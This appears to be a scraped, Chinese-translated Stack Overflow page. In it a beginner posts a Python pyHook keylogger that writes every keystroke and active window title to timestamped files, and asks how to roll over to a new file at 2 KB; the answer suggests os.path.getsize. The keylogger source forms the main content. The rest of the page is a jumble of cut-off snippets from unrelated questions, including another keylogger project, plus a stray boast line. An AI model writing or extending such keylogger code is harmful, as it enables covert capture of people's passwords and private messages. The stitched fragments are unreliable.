- android - 多次调用 OnPrimaryClipChangedListener
- android - 无法更新 RecyclerView 中的 TextView 字段
- android.database.CursorIndexOutOfBoundsException : Index 0 requested, 光标大小为 0
- android - 使用 AppCompat 时,我们是否需要明确指定其 UI 组件(Spinner、EditText)颜色
我想检查我写入 key 的文件是否超过 2Kb 。如果它超过 2KB,那么我需要创建另一个文件并停止在这个文件中写入。我是 python 初学者请帮助我。请指出在哪里可以使用代码来检查文件是否超过 2kb。
import win32api , win32console , win32gui , pythoncom , pyHook , sys, time ,os
import datetime
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
while True:
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
希望能帮到你
最佳答案
您可以使用.getsize
。
>>> import os
>>> b = os.path.getsize("/path/isa_005.mp3")
>>> b
2071611L
关于python - 在 pyhook Pumpmessages 中使用自己的代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/15540410/
我正在制作一个键盘记录器,但我看到的每个源都需要该功能,但它无法正常工作。 我尝试更新库,但没有解决问题。除了下面的部分之外,所有代码都有效。我不知道下面的意思是什么。请帮助我理解。如果您知道类似的功
我想做类似于要求的事情 here , 但使用 threading 像 here .也使用来自 here 的答案,我的代码可以正常工作,只是无法识别 ItemAdd 事件(实际上,我认为是,但在另一个线
我很惊讶地发现没有很多关于函数 pythoncom.PumpMessages() 或 pythoncom 模块的解释文档。 那么 pythoncom.PumpMessages() 和 pythonco
我正在用 python 编写小键盘记录器。这是我的代码。 LOG_FILENAME = 'keylog.txt' def OnKeyboardEvent(event): logging.bas
当我调试用 C++ 开发的 Windows 应用程序时,我发现这个函数调用 CWinThread::PumpMessage()。我读过 MSDN以及其他一些要了解的论坛帖子。但仍然不确定它的作用。 有
我想检查我写入 key 的文件是否超过 2Kb 。如果它超过 2KB,那么我需要创建另一个文件并停止在这个文件中写入。我是 python 初学者请帮助我。请指出在哪里可以使用代码来检查文件是否超过 2
我正在尝试使用 pyhooks 来检测屏幕上任意位置的鼠标点击。问题是我只能让它与 PumpMessages() 一起工作。我希望它在我构建的 while 循环内运行。有没有办法实现这个/为什么需要
我正在使用以下代码使用 crypto++ 将 AES key 和 iv 写入文件: // write the key: SecByteBlock key(AES::DEFAULT_KEYLENGTH)
我是一名优秀的程序员,十分优秀!